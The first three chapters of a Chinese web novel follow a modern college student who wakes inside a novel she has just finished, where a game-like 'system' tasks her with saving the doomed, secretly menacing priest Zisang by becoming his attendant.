《黑月光男配被拯救成毒唯》
1. 第 1 章
昏昏沉沉……
赵玉屿从睡梦中苏醒,缓缓睁开惺忪睡眼,有些迷茫的望着头顶陌生的青纱帐。
坐起身子四下张望,她发现此时正身处一间古朴的屋子。房间布置简洁,并排放着两人床,像是一间宿舍,屋子里有一股淡淡的中草药味。
揉了揉发疼的额角,赵玉屿以为自己还在睡梦里。
【滴——宿主您好,恭喜您来到《囚医》世界,您必须通关全部任务拯救世界才能回到现代。】
一个冰冷却欢脱的系统提示音在脑海中响起。
赵玉屿:“?”
什么东西?
《囚医》?那不是自己昨天晚上才追完的小说吗?
赵玉屿大一放假,在家里追了足足一个暑假名为《囚医》的爆红小说。
说的是太子男主遭人暗算流落在外,被人美心善的医女相救,朝夕相处间渐生爱意,结成夫妻。
结果男主为了所谓保护女主之名出言重伤,丢下一纸休书离开,重返朝堂夺回属于自己的一切后,又想和女主重归于好,却发现女主已经另嫁他人。
狗太子阴暗爬行,将女主囚禁在后宫为妃强取豪夺,虐身虐心虐读者。
两人经过几轮虐恋情深,堕胎坠崖失忆替身等等她逃他追她插翅难飞的狗血剧情后,最终修成正果三年抱俩的凄美爱情故事。
赵玉屿看到结局喷了一口血,她就等着女主狠虐男主呢,结果居然是HE哎!
这特么都能HE哎!
原本她已经够憋屈的了,结果她最爱的男配,抚鹤神使子桑被作者写得惨死。
子桑,人如其名,君子若扶桑,温润如玉,容貌绝世,高洁脱俗,有驱百鸟驭百兽之能,能召鹤驭虎,传闻乃是瑶山仙族后裔。
皇帝敬仰,大臣畏惧,百姓视其为神祇。
然而众人皆知他注定活不过二十,令人扼腕叹息。
原本这么一个绝代风华的佳人英年早逝已经很让人惋惜了,结果狗作者不做人,愣是让他在大结局为救女主万箭穿心、烈火焚身而死,连二十岁都没活到。
恨啊,心里那个恨意滔天!
赵玉屿恨不得化身贞子,顺着网线爬出电脑屏幕掐住作者的脖子让她清醒一点改结局。
至少给她温润如玉的男配一个好结局啊!
赵玉屿悲愤交加,化身键盘战士一顿疯狂输出观点后化悲愤为食欲,当晚灌下两瓶啤酒,吃了三斤小龙虾,二十串烧烤后安然入睡。
没想到再一睁眼,她居然……穿越了?
系统非常及时的跳出来解释:【没错,亲爱的宿主,因为《囚医》这本小说的结局让读者怨气太大引发这条世界线天怒,天灾侵袭不断,所以为了世界和平,我们特意选择了怨气最重的读者,也就是您,成为宿主改变结局。】
赵玉屿听到这话琢磨:“你是说我必须要改写故事的结局才能回到现代,那如果我没能成功改变结局呢?”
【那么宿主会被囚禁在时空黑洞之中,直到有人能改变结局,你们才能回到自己的世界。】
见赵玉屿不说话,系统以为她接受不了,安慰道。
【我知道成为宿主这件事让很多人一时都难以接受,但是请您放心,系统会尽力辅助你完成任务,早日回家。】
然而下一刻,赵玉屿却抬起头双眼迸发出惊人亮光,中二之魂燃爆:“我干我干!哈哈哈我就知道我是天选之子,注定要拯救世界,感谢系统给我这个机会!”
倘若系统现在实体化出现在她眼前,它相信赵玉屿必定会给它一个窒息的拥抱。
系统:【......】
第一次见到这么积极的宿主呢。
赵玉屿却觉得激动不已,反正就算任务失败她也只是进入待机状态,等有人通关后就能回家,对她来说也没什么损失,不如好好玩一把,而且还能帮助她喜欢的角色有个好结局,丝毫不亏,何乐而不为呢。
等平复下激动的心情后,赵玉屿才开始考虑现状,根据以往玩游戏的经验三连问道。
“系统,现在是什么时候?我的身份是什么?目前应该怎么做,有什么阶段性任务吗?”
【宿主您好,您如今的身份是大雍王朝吏部侍郎赵谦的庶长女赵玉,三年前被选中成为奉仙宫的女侍。】
赵玉屿点头,奉仙宫她知道,原著里老皇帝信神,为抚鹤神使特意建造了一座道宫,便是奉仙宫,不过奉仙宫的女侍怎么会是官员的女儿呢?原著中并未提及这点。
她尚未弄清楚,就听系统接着道。
【宿主当前阶段的任务是努力接近神使子桑,成为他最信任的人。今日是选拔贴身侍奉神使的内殿女侍的日子,请宿主加油。】
“?”
赵玉屿以为自己听错了:“今日选拔?不给我点时间准备吗?我连基本的礼仪都没学会呢。”
【咳,没错宿主,因为系统出现了一点小小偏差,时间设置上存在些错误,所以您苏醒的时间推迟了几日,宿主加油啦!】
赵玉屿:“......”
突然觉得这系统不是很靠谱。
*
“快点快点,神使大人都要到了,你们怎么还在这里磨蹭!”
香气扑鼻的暖阁中,十几个容貌娇丽的姑娘正三两成群聚在一块手忙脚乱的梳妆打扮。
有的涂着胭脂水粉,有的往腰间袖口里塞上香囊,有的将首饰发簪戴了满头。
暖阁过道并不宽敞,姑娘们的裙摆一铺像是团团花簇更是无从下脚。张嬷嬷在众人长裙留出的狭小缝隙中扭着身子焦急地来回走动吆喝。
“哎呀,我的大小姐们别再收拾了,车队都已经到长街了!李嬷嬷让咱们赶紧去宫门迎接神使!”
一个凤眼薄唇的姑娘整理仪容,听到这话放下手中的小铜镜,纤腰一扭朝她笑道:“李嬷嬷,你急什么,从长街到这还有一会儿呢,咱们得打扮妥帖了才好去面见神使呀。”
旁边刚戴好耳环的姑娘从她手中拿过铜镜左右瞧了瞧自己的大珍珠耳环满意道:“是啊是啊,今日是选内奉侍女的大日子,咱们当然要好好打扮一番。”
她们身后,挂了满头金发簪的圆脸姑娘转过头好奇道:“李嬷嬷,不是说这神使大人在云池山祈福半年才回来吗,怎么提前月余就回来了,弄得咱们措手不及。”
另一个整理衣裳的红衣姑娘也探头抱怨道:“是啊,我爹爹给我定的金首饰都还没打制好呢,光着急送来衣裳了。”
她旁边涂口脂的姑娘娇娇笑:“你那衣裳便够红的了,若是再配上金发冠,不知道的还以为你是要嫁给神使大人呢!”
此话一出,引得众人皆是掩唇娇笑。
张嬷嬷见这群小祖宗们叽叽喳喳没个正经,顿时手背拍手心哎呦呦急得直叹气。
“我的小姑奶奶们,算我求求你们了,再不走可就真的来不及了!”
她虽着急却也不敢真的上手拉扯催促,这屋子里的姑娘们皆是当朝贵女,从小千娇百宠众星捧月哄着长大的。如今虽然是奉仙宫的女侍,但也都只是做些针织女红的轻快活,说白了就是送来镀金的,阖宫上下除了神使身边的老人李嬷嬷,没人真的敢把她们当成寻常女侍看待。张嬷嬷自然也不敢得罪这群小祖宗。
眼瞧着时辰快到了,张嬷嬷急得满头满脸大汗。
见她擦头抹脸白粉扑扑朝下掉的作态,众女更是捂嘴咯咯笑个不停。
忽而一瞬间,暖阁中的笑声骤散,所有姑娘都像是被捂住口鼻般息了声音,慌忙从凳子上起身低头立在原地。
张嬷嬷朝后瞧去,就见不知何时她身后的暖阁门外静静立着一道身影。
淡松烟底秋波蓝圆纹的衣衫庄严肃穆,头发用一根雕木发簪简单盘起,但发丝根根分明,干练又敞亮。
众女皆是双手置于右腰一侧,不似方才的松散懈怠,垂首弯腰道:“李嬷嬷。”
“哎呦喂,李嬷嬷您可来了。”
张嬷嬷顿时松了口气,救星一般朝李嬷嬷道:“这时辰快到了......”
李嬷嬷瞧了眼凌乱的暖阁和梳妆台上随意摆放的首饰,并未多言,只淡淡吩咐。
“桌上东西收拾好,换上宫服,半株香之内到鹤羽阁外点名,没到的就不用参加内殿选拔了。”
说罢,也不多看她们一眼,转身便朝外离开。
此话一出,屋中众女静默一瞬,下一秒顿时乱作一团,七手八脚慌忙将桌上的首饰飞速塞入梳妆盒中,换衣裳摘金饰,一时也分不清是谁的首饰谁的胭脂。
“快点快点,马上要迟到了。”
“李嬷嬷可是说到做到,我可不想连神使大人的面都没见到就被送回家去,也太丢人了。”
众人一路快走,穿过层层廊桥墙院总算赶在香烛熄灭之前到了鹤羽阁。
阁楼前的空地上,李嬷嬷和张嬷嬷候在那里,她们身前已经站着一个婷婷玉立的娇俏身影。
这姑娘只穿了一身寻常的鹅黄色花纹绿底女侍衣裙,身上未带丝毫的金银首饰,比起其他贵女显得寒酸许多。
不过她的长发别出心裁的盘成了两个高髻,毛绒绒的桂花绒花球插在发髻上,耳朵两侧垂下两条细长麻花辫,辫子发梢系上黄色细发带,小珍珠发钗点缀乌发之中,如同中秋桂花树下捣药的玉兔成精。
翘鼻朱唇,弯弯细眉之下是一双明亮杏眼,眼尾用黛粉描摹飞扬,更添一丝娇俏。
点名后见众人都到齐了,两位嬷嬷便领着众人朝宫门外走去。
那圆眼贵女瞧着因为最早到而被李嬷嬷优待放在前排的清瘦姑娘眼中闪过一丝惊艳,朝旁边的姑娘小声道。
“赵侍郎家的姑娘不是前几日生病了吗,怎么出来了?而且......她瞧着好像和往日不同。”
往日这赵侍郎家的庶女赵玉穿着最是简朴,到哪都低着头畏畏缩缩,针织女红做得倒是极好,可被张嬷嬷她们点名夸赞都吓得抖一抖。
虽然长得还算清秀好看,但在一大群贵女中着实让人难以注意到。
如今精心打扮一番落落大方站在那里,才发觉当真是个美人胚子。
凤眼薄唇的贵女也小声道:“这赵玉寻常时候瞧着不声不响的,关键时候还是想搏一把的。不过,她这番打扮当真是好看,说不定也能被选上呢。”
旁边另一个贵女也有些疑惑道:“我怎么感觉这赵侍郎家的女儿长高了些?”
她这么说,圆眼姑娘也意识到问题,左右仔细瞧了瞧:“许是长个了吧。”
赵玉屿:“......”
几人对话虽然小声,但到底就在她身后,想听不清都难。
想起之前发生的一切,赵玉屿心中叹了口气,谁让系统是个傻逼,穿越时间都能定错。
她今日刚醒,万事无头绪,原著中子桑身边并没有什么贴身侍女,只有一个四十出头的李嬷嬷。
赵玉屿只得从奉仙宫扫地侍从的口中套得一二。
原来当朝皇帝迷信道教修仙近乎痴迷,不仅自己信奉,还要求上至朝堂达官贵族,下至乡野村舍必须信道。
每隔三年便要从各大世家中选择十二岁的少年少女各二十人入奉仙宫抄经听学,侍奉仙君。
赵玉屿则是这批少女中的一位。
被选中的少年少女就像是镀了层金,出宫之后正值婚假年纪,乃是各家婚配的香饽饽,男子仕途更是受皇帝青睐,所以各家挤破头想要将子女送入
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奉仙宫。
原本这种好事是轮不上赵玉屿这种庶女的,但是那年恰巧适龄女子不足,赵家又只有她一个正值芳龄的姑娘,所以便将她送了进来。
如今三年已过,陛下圣谕,在少女中选拔三位成为神使内殿女侍,终身侍奉上清仙君。
虽说终身不得嫁人,但若当真能选上,便是全族荣光,不仅自身平步青云,而且只要陛下一日在位,家族子弟更是“天上有人”,日后在朝中仕途扶摇直上。
况且,抚鹤神使正值舞象之年,若能得神使青睐,得神使在陛下面前一句夸赞,那更是青云直上不用愁。
虽说传言这神使活不过二十,但牺牲一个女儿,换得全家荣光,如何算都是值得的,便是许多贵女经过多年教习洗脑也都心甘情愿。
所以各个世家都是削尖了脑袋要将自家女儿送入内殿。
赵玉屿弄明白之后也开始发愁。
倘若今日没有成为内殿侍女,那以她的身份根本就没有机会再接触到子桑。
想到自己首个任务就要以失败告终被关小黑屋,赵玉屿顿时斗志昂扬。
不成,她得冒尖。
然而翻遍了整个房间,赵玉屿也没找到啥好看的首饰衣裳,只有几件换洗的侍女服和成色不太好的发饰。
按照系统所说,她爹是个清官本就没什么钱,她又是个庶女,更是个穷鬼。
其他姑娘都为了选拔精心打扮,可她衣服首饰样样都缺,很容易就会被淹没在人群中。
最终,赵玉屿想到一条妙计。
没钱买衣服买首饰,那她就只能另辟蹊径从身高下手。
寻常的大家闺秀都是含蓄端庄的打扮,赵玉屿则将自己的头发梳成两个高高的兔子耳朵,配上毛茸茸的发饰和桂花发辫,又高又可爱,再在鞋子里塞上一层又一层鞋垫,加上侍女服拉长身形,整个一高个儿萝莉,反差感十足。
赵玉屿对最终效果很是满意,至少不会被瞬间埋没在人群中。
嘿,不愧是我。
正感慨着自己的小脑袋瓜真是聪明过人,众人已经到了宫门外。
宫门外的长街两旁熙熙攘攘站着等候一睹神使真容的百姓,宫门前,奉仙宫阖宫众人整齐而立。
长街拐角处迎面而来两立羽幡旗,执旗的两名侍从一身白鹤道服,玉冠束发;其后两名提灯道童,再其后两列青袍道服的侍卫负剑骑马而行,甚是张扬威风。
张嬷嬷小声叮嘱道。
“都站好了,神使大人的车辇到了。”
听到这话,原本窃窃私语的众人顿时息了声,眼观鼻息立在原地,依规静候。
不多时,随着百姓潮浪一般高喊“神使大人”的朝拜声,车辇缓缓行至宫前。
原本立于宫门前的众人垂首退去,秩序井然分成两拨立于宫门两侧,清出一条道路。
随着车辇而过,众人垂首跪地迎接,赵玉屿学着众人的模样也跪了下去。
一时眼前只能看到缓缓经过的皂底黑靴,青袍衣摆,哒哒马蹄。
巨大的车轮压在石板地上徐徐而过,瞧着便有半人高。
赵玉屿为了冒尖,脑袋上的发包本就比旁人要重许多,长时间低着头发包朝前倾,又压得脖子酸疼。
她怕好不容易做好的发型乱了,稍稍抬了抬头。
一抬眼,正好看到经过身旁的雕花马车。
八马拉驾,车辇不同寻常方正,而是用整块小叶紫檀雕制作成圆盘行,其上覆通透白玉雕刻成立体双羽鹤环仙的底座,将座驾环绕其中。
底座之上,白褐相间的鹿绒皮毯铺满长椅,四角雕花莲蓬柱垂下粼粼鲛纱。
其后隐隐可见一人。
那人身着祥云浮鹤绣金紫袍,原是仙气飘飘的清俊装束,可他肩披白鹤羽垂紫珠大氅如同羽翼,长发并未似寻常道士玉冠高束,而是如绸缎垂落而下蜿蜒流水般披散在鹿绒皮毯上。
一侧长发编起长辫合于耳畔后顺在胸前,耳上别着鹤羽金流苏耳挂,左耳则垂挂紫珠长耳串。
他整个人慵懒靠着椅背,一条腿弯起,祥云白底绣银纹靴随意踩在奢华的绒毯上,一只手覆着膝盖,另一只胳膊抵着长椅弯曲的把手,手腕支起略歪的脑袋,修长清峋的手指上套着硕大璀璨的紫蓝宝石戒指和手腕处露出的两道紫玉珠串格外醒目,极尽奢靡。
比起出尘绝世的修行道士,他更像是钟鸣鼎食的王公贵族。
忽而一阵长风吹过,轻纱飘然,露出侧脸。
赵玉屿怔在原地。
那是张一眼便让人难以忘却的脸。
一半在马车的阴影中,一半笼罩在金灿的阳光里,光影交错下,侧脸的边界被洒落的阳光描摹出金色光晕,从额头到鼻梁,沿着薄唇延伸至锋利的下颌,勾勒出完美的轮廓。
旁边骑马的青袍侍卫似乎同他说了什么,他的唇畔微微扬起,纤长浓密的睫毛随着眼眸低垂,在温柔和煦的阳光中如同碎金蝶翅,搅扰一池春水。
十八岁正是少年青涩和成年硬朗交融的年纪,这一笑让他孤冷疏离的气质添了一丝柔和,金灿的阳光下如同神祇临世。
赵玉屿怔怔望着他,一时忘记了周遭,只耳边似乎响起原著中那首对子桑的诗赞。
悠悠白云载,有鹤瑶山来。
落化羽人行,一鸣万世惊。
那便是抚鹤神使子桑,连日光都格外偏爱他。
“神使大人,刺客已经抓到了。”
青袍侍卫驱马靠近车辇,低声恭敬道。
庞然奢华的雕鹤垂纱车辇上,少年白如葱玉的手指温柔抚摸着窝在身旁安然轻寐的白狐,唇畔微扬,声音悠然风清气朗。
“剁碎了,喂给孩子们吧。”
2. 第 2 章
华丽高大的车辇在众人高呼朝拜中缓缓驶入奉仙宫门,赵玉屿等侍奉宫人跟在队伍后,随同车辇一道入宫。
她扭头朝身后望去,朱红色的巍巍宫门缓缓合上,门外是拥挤在门前狂热高呼叩拜不止的黎民百姓。
一道宫门,恍如隔世,隔绝了尘世的喧嚣,却阻绝不了这凡尘的欲望。
宫墙内,众人在墨玉石板上沉默而行,不置一声。
奉仙宫乃是当朝皇帝为供奉诸天神灵花费数年而建,整座宫殿建在温泉泉眼之上,阖宫石板皆是用大块墨玉铺设雕制而成。
墨玉温软,地下又是温泉,即便冬日走在其上也感觉不到丝毫寒冷。
等到夏日,神使便会移居后山上的清凉阁避暑。
赵玉屿心中感叹,老皇帝是当真想要修炼成仙,旁的皇帝都是嘴上求仙拜佛,实则是以六道轮回之说忽悠百姓臣服,巩固皇权,自己一点苦都不想吃。
这老皇帝却宁愿自己不享受也要将帝都最好的地段都供奉给诸天神仙。
不过倒是便宜了她,旁人穿越到古代没空调,夏天热死冬天冻哭,自个这儿好歹硬件设施跟得上。
给皇帝点个赞。
思绪正飞到天际乱想着,前面队伍停了下来。
随行小神侍在地上放下白玉矮凳,撩开绞纱帐静候。
子桑微微躬身从车辇纱帐内而出,踩着玉凳下地,在众神侍的簇拥下走进鹤羽阁。
他含着笑,目光至始至终都没有在身后的这群贵女身上有丝毫停留。
待到进了鹤羽阁内,其他随行的神侍都已退下。子桑松了松筋骨,伸着懒腰踢掉长靴只着白袜踩在柔软的羊绒几何花纹长毯上拾阶而上,慵懒靠坐于高台上的铺绒长椅中,远远瞧着台下恭敬垂首的李嬷嬷语调悠扬。
“李嬷嬷,何事请奏?”
李嬷嬷行了一礼,毕恭毕敬:“神使大人,今日是选拔内殿侍女的日子,各位女侍已经在殿外恭候。”
子桑眯眼懒懒打了个哈欠:“乏了,改日再说吧。”
李嬷嬷有些犹豫,神色无奈道:“神使大人有所不知,您回来之前世上皇再三叮嘱老奴,今日需选出三位内殿侍女终身侍奉上清众神。”
子桑听言,睨眼望向她,忽而身子微微前倾,一只手肘撑在膝盖上,手抵着下巴俯身道:“看来今日不选是不行了?”
即便服侍神使多年,李嬷嬷依旧被他那一眼瞧得心中生寒,跪地躬身道:“神使大人赎罪,老奴不敢。”
子桑忽而又轻笑一声,似是有些扫兴:“李嬷嬷你还是这么无趣。”
李嬷嬷一笑:“老奴侍奉神使大人,不敢有半分差错。世上皇也是担心选择的内殿侍女神使不满意,所以恳请神使您亲自点化仙缘。”
子桑“唔”了一声,手指抚摸着膝上窝眠的小狐狸:“罢了,将人都带上来吧。”
“是。”
李嬷嬷恭敬退下,不一会儿便领着贵女们入了殿内。
两列队伍款款走到台阶前的空地上转了个身成了横排。
赵玉屿暗道不好,她原本站在竖排第一位,结果这一转身换队形,她倒成了第二排,虽然在首位,但前面的人个子也不矮,将她遮挡得严严实实,只漏出两个兔儿发型,原本身高的优势荡然无存。
高阶之上,子桑无聊地抚摸着窝在膝上的小狐狸。
李嬷嬷朝众人朗声道:“今日是选拔内殿侍女的日子,内殿侍女,不仅要有习文断字之能,还要有针织女红、琴棋书画之长。你们的功业都是各位嬷嬷们检验过的,皆是佼佼者。但能否成为内殿侍女,还需抚鹤神使亲自验定。接下来,便由我按照三年功业的排位点名,点到名者依次上前献技。”
三年功业?
赵玉屿暗问系统:我的排名是多少?
系统:【宿主是第二十名哦】
赵玉屿:???总共就二十个人我排二十?
系统:【其实赵玉的各项功课不算差,只是她平日里没钱给嬷嬷们打赏,又为人木讷不懂变通,所以排名便落到最后。】
赵玉屿:......
她瞧了眼正在抚琴的第一名,她乃是礼部尚书家的小女儿宋解环,典型的江南女子,琴技高绝令人惊叹,一首《流水》如清泉击石,环佩锵鸣。
然而高阶之上的少年似乎困意卷卷,手腕支着脑袋眉头微蹙打了个哈欠。
宋解环见状以为神使对她琴技不满,手下一抖,弹错了一道音,心绪越乱,最终潦草收场。
李嬷嬷暗叹口气,人是个妙人,可惜还是不够沉稳。
接下来的姑娘们,琴棋书画大展身手。
然而赵玉屿却越来越觉得不妙,这展现才艺虽然一个人只有几分钟,但是弹琴的要差人搬琴,作画的要叫人搬桌子墨砚台,这中间又要去掉些时间,眼瞧着人数快过一半,已经过了将近一个小时,高台上的子桑早已闭着眼轻寐,底下人只像走个过场。
等到她的时候,怕是主考官已经不耐烦,再加上赵玉屿穿越仓促,准备得也仓促,琴棋书画又样样不通,只能抱着对原著了解赌一把的心态。
毕竟献技和送礼一样,虽说贵的比便宜的体面,但送到心坎里的才是最好的。
实在不行……她就蹲小黑屋待机吧。
不只是赵玉屿,其他人也都觉得不太妙。
这抚鹤神使从开始到现在,是一点目光都没落在她们身上,如今瞧着都快睡着了,可如何是好。
忽而一阵金铃声起,清响灵动,如夏风穿堂拂面而来,动人心弦。
献舞的姑娘已经褪去外衫,露出舞女华裳,一串金铃挂腰,随着婀娜舞动的身姿相撞作响。
赵玉屿不禁感慨,真好看。
这清脆悦耳的响铃声撩人心弦,赵玉屿神情微晃醇醉,瞧着那白细腰肢间隐隐反着金光的铃铛,恍若酒醉荒夜中闪烁旋转的细碎星辰,让人忍不住想要跌跌撞撞地追逐。
高阶之上,铃声入耳,子桑泛着莹莹润光的眼皮微动,缓缓睁开黑如点漆的眼眸望向台下踏舞飞旋的女子。
惑心谣。
看来为了对付他,有人倒是肯花心思栽培。
子桑瞥了眼李嬷嬷,李嬷嬷顿时会意。
“过。”
那
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姑娘顿时大喜,跪地行礼叩谢,娇声道:“多谢神使恩赐。”
赵玉屿心中暗啧一声,这男配原著里瞧着人模狗样清心寡欲,没看出来啊,居然喜欢这种类型的。
也对,谁不爱身娇体软的美人儿,她刚才都差点把持不住。
然而从那跳舞的姑娘之后便再也没有人被看中,终于到了最后一名赵玉屿。
赵玉屿深吸一口气给自己打气,没关系,虽然你是最后一名,但最精彩的节目总是最后登场!
赵玉屿从人群后走出,学着众人的模样朝少年行了一礼。
李嬷嬷瞧着她的动作眉头稍蹙。
赵玉这姑娘平日里虽然不出众,但胜在做事认真刻苦,所学从未出错,如今怎么连基本的礼仪都做不标准。
赵玉屿对自己现学现卖的动作倒是已经很满意了,抬起头清了清嗓子就要展现技能,头顶此时传来一道清亮少年音。
“你这打扮倒是新奇。”
突如其来的称赞让赵玉屿一愣。
这是子桑从召见她们起第一次开口。
清朗温润的少年音带着一丝慵懒沙哑,像是海湾边的一捧月牙白沙,随着孤冷月色送入蔚海的清咸。
台上原本懒散的子桑将她上下打量一遍,目光又不咸不淡的回到了赵玉屿高耸入云的发髻。
这一身衣服比起其他姑娘并不华丽,甚至简朴,可搭配上却甚是精巧,黄绿渐身,月桂发钗插入发髻,毛绒配饰点缀全身,活脱脱玉兔成精。
这身打扮不算奢华,却随处可见手艺人的心思精巧。
赵玉屿弯眼含笑,曲膝行了一礼:“多谢神使大人夸奖,小女平日里喜欢钻研些新奇的发饰打扮,马上快到中秋了,小女便想出这新创的双环玉兔髻也算应景。”
子桑似乎来了些兴趣,稍稍坐直身子问道:“除了兔耳髻,你还会些什么。”
赵玉屿瞧着他手掌抚摸的白狐。
古代对狐狸向来敬而远之,看作惑国灾星,可神使爱狐,那白狐便是祥瑞。
她又瞧了瞧子桑奢华无比的鹤羽披肩和耳挂:“小女无长,唯手巧耳。仙鹤髻,狐狸耳髻、垂耳髻、灵蛇髻、流月髻,小女都能做出来。小女还会裁衣制品,手玩木雕,各色样式皆能制出。”
她说罢也不管其他,直接在众女惊异甚至是惊恐的目光中,干净利落的拔掉脑袋上两个兔耳发包。
然后掏出随身携带的发梳,手腕翻转间很快又将长发卷出两个娇俏的三角尖,如同狐狸耳朵藏于发间。
“狐耳髻。”
她又从香囊中取出一张折纸,手指灵巧的折叠翻转,没一会儿一个立体纸狐狸便做了出来。
赵玉屿恭敬呈上。
“瑞狐呈祥,献于神使大人。”
李嬷嬷从她手中接过折纸呈上高阶,子桑捏起那纸狐狸,虽仓促所折不算精巧,却也惟妙惟肖,同他掌中这胖乎乎的狐狸有几分相似。
子桑捏了捏手下狐狸肉乎乎的质感,语调轻悠。
“还不错,你留下吧。”
赵玉屿原本屏住的呼吸顿时松下:“多谢神使大人!”
3. 第 3 章
“哎,没想到居然就这么被淘汰了,当真是有点不甘心。”
暖阁中,有人抱怨道。
“那能怎么办,这可是神使亲自选出的人。”
有人摘掉耳环嘟囔:“这神使大人真是奇怪,居然选了两个小官之女,一个跳舞的就算了,居然还选了个折纸的,这宫里的工匠手艺人哪个不会折纸,也不知道瞧中她什么了?可惜了我这身行头,花重金打造的呢!”
有人提醒:“嘘,小声点,不得议论神使大人。不过,不是还有一个名额吗,李嬷嬷为何要选择宋解环?”
“宋解环毕竟样样拔尖,这三年年试总是排名第一,不选她还能选谁?”
暖阁中,落选的众姑娘七嘴八舌讨论着方才结束的殿选。
除了神使本人钦定的两位姑娘外,剩下的一个名额由李嬷嬷选定。
李嬷嬷向来无私,便直接定了功业排名第一的宋解环,剩下的众人今日便会被各家接走。
众女虽然心中有些失落,但转瞬便被回家的喜悦冲淡,将殿试抛在脑后,皆喜滋滋的收拾行囊。
虽说没能完成家族厚望,但众人皆是花季少女,打心眼里其实是不希望留在这“道馆”中当姑子的。心中一时又空又喜。
而赵玉屿三人收拾好行囊之后,便会从侍女的庭院搬到了离主殿更近的若水坊。
比起其他两位姑娘,赵玉屿人穷行礼少,床铺被褥什么的若水坊也都有,她便只带了个小包裹第一个搬了家。
虽然是在一座庭院里,不过她们三个人如今身份进阶,由原本的两人一间房升级为单间。
房间早已被人收拾妥帖,各色用品应有尽有,也不用怎么洒扫。赵玉屿便扑到软乎乎的床铺上打了个滚,仰面躺下,鼻尖嗅着蓬松被褥的干燥阳光味儿,恍惚间分不清如今身处梦幻还是真实。
未等她对人生发出些感慨,脑海中传来的欢快电子音将她拉回现实。
【恭喜宿主完成首个任务,主线任务“雀飞笼中”已开启,请宿主改变男女主结局,让女主小可怜远离狗男主迫害。目前存在一条隐藏支线,宿主是否开启?】
隐藏任务?
赵玉屿“腾”得坐起身子。
游戏中的隐藏任务一般都会对后续剧情产生关键影响,如果完成任务奖励也极为丰厚。
作为“集邮”爱好者,她必然不能放过。
“开启。”
【支线任务“仙鹤永存”已开启,攻略对象神使子桑,请宿主努力提升攻略对象好感度,好感度每达到一定数值系统会发送奖励,集齐全部奖励可改变攻略对象生命值,还请宿主努力。】
改变生命值?
赵玉屿眼前一亮:“那这么说只要刷满子桑好感度,拿到任务奖励,他就不会死于二十岁了?”
【是的宿主。】
太好了!
赵玉屿满心雀跃,能拯救自己喜欢的角色,撤回傻逼作者发的狗血刀子,这是她每次看文吐血后梦寐以求的事情,简直是功德一件!
【为了鼓励新人,系统赠送新人盲盒大礼包一份,宿主可语音查收。】
新人大礼包?
她最喜欢拆盲盒了。
赵玉屿顿时双眼冒星兴奋道:“查收!”
【恭喜宿主获得还魂丹枚,离离草一棵。】
赵玉屿:“就这?”
系统的声音铿锵有力:【是的宿主!】
赵玉屿忍不住吐槽:“我玩了这么多年游戏,第一次见大礼包就送两个奖励,也太抠门了吧!”
【宿主这么说话也太伤人心啦,还魂丹还是鉴于宿主表现良好,系统特意申请抽奖的哦。】
赵玉屿嘴角略抽:“所以说最开始大礼包就一个奖励是吧。”
【是哒!】
赵玉屿:“......”真是理直气壮啊。
行吧,有总比没有好。
她坐在床上研究起这两件奖励,还魂丹倒是好理解,等于是多了一条命。
系统及时提醒:【还魂丹可以拯救宿主性命,但为一次性物品,请宿主谨慎使用哦~】
赵玉屿问出一个直击灵魂的问题:“那为啥不直接把还魂丹给子桑用?”
系统:【……,宿主问得好。还魂丹按常理是可以拯救一条性命,但是只能是物理性死亡的对象可以使用,攻略对象并不适用还魂丹。】
物理性死亡?
死了不就是死了,怎么还分物理化学吗?
【宿主现在可能尚不理解,但请相信,系统经过无数次算法表明,只有成功达成攻略目标,才能拯救攻略对象。】
“行吧,那这个离离草是什么?”
【离离草是您开出的隐藏道具,目前用处不明,不过宿主运气真好,这两个都是高阶道具。宿主如需使用道具,只需唤起道具名称即可。】
赵玉屿听到这话险些饱含热泪。
她玩了这么多年氪金游戏,抽奖都攒到【高级非酋】这罕为人有的称号了,没想到还有能抽到高阶道具的一天。
感人,太感人了!
【友情提示,攻略对象好感度会有所波动,若好感度降低为零,宿主可能会存在生命危险,目前攻略对象好感度为10%,每当攻略对象好感度提升时,系统会以语音方式提示宿主。】
赵玉屿:“什么生命危险?”
【系统无法做出具体提示,还请宿主努力攻略对象。】
没有得到想要的答案,但按照赵玉屿多年游戏经验来看,既然好感度存在波动,就应该不会有攻略失败被系统抹杀一说,因为好感度波动就说明存在翻盘的可能性。
那所谓的生命危险,就只能是攻略对象带来的。
好感度为零,意味着漠视甚至厌恶。
可原著中的子桑温润如玉,乃是至纯至善之人,不然也不会为了救并不相熟的怀有身孕的女主而死。
赵玉屿一时想不通,只得作罢。
只是不知为何,虽然今日只是在大殿的一面之缘,她总觉得子桑给她的感觉有些奇怪,却又说不上是哪里不对劲。
赵玉屿再次仰面倒在床上,胳膊支着脑袋望向床顶的帷帐,好感度10%,任重道远啊。
她翻了个身,将一切抛诸脑后。
罢了罢了,心急吃不了热豆腐,明日再想吧。
今日忙活了一天,也该好好养精蓄锐,休息一晚。
赵玉屿向来心大,累了一天,盖上被子蒙头就睡。
屋内两耳不闻酣然入睡,窗外日落月升,黄玉斜挂枝头,似水月光自天倾洒,顺着枝头含羞合花流泻而下,淌入温泉池中,同飘渺的湿热水汽融为一体。
水汽蒸腾中,隐隐可
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见一道身影靠在温泉池光滑的池壁里,乌发披散遮住后背,只露出贴着肌肉起伏可见的手臂曲线。
铃声晃晃,透过缭绕水汽,系着金玲的赤脚分开白雾缓缓走来。
听到身后的惑耳清铃声,温泉池中的人稍稍侧过脸,棱角分明的侧脸上浓密纤长的睫毛被水珠微微压弯,如同汲取露水的微颤蝶翅。眉梢蹙着的水珠划过高挺如峦峰的鼻梁,在莹润如玉的鼻尖上随着偏头的动作滑落池中。
“神使大人自云池山奔波归来甚是辛苦,奴婢伺候大人沐浴。”
金玲荡着娇俏妩媚的声音飘至身后,染着红色寇丹的白皙柔荑悄然伸向眼前人。
温泉池中传来一声轻笑。
这笑声微弱,透着轻蔑和遗憾,被茫茫水汽湮没,飘渺如鬼影,舞女一瞬以为是自己听错了。
“原以为你有什么新手段,到头来还是这些老套的把戏。”
话中似是有些遗憾。
舞女听到这话,心中暗道,瞧这神使一副清高孤傲之相,原来也是好色之徒,这倒好办多了。
她含笑上前一步,正待娇声调笑,忽而修长裸露的脖颈处似有一股劲风划过,让她瞬间寒毛耸立。
她下意识捂住脖子,猛然扭头回望,面前三寸陡然出现一张三角凹鼻丑陋如恶鬼的龇牙红脸,伴着古怪的尖笑朝她贴近。
“啊————”
舞女顿时面容惊骇,花容尽失,尖叫着踉跄向后退去,一脚踩空滑入水中。
“救命……”
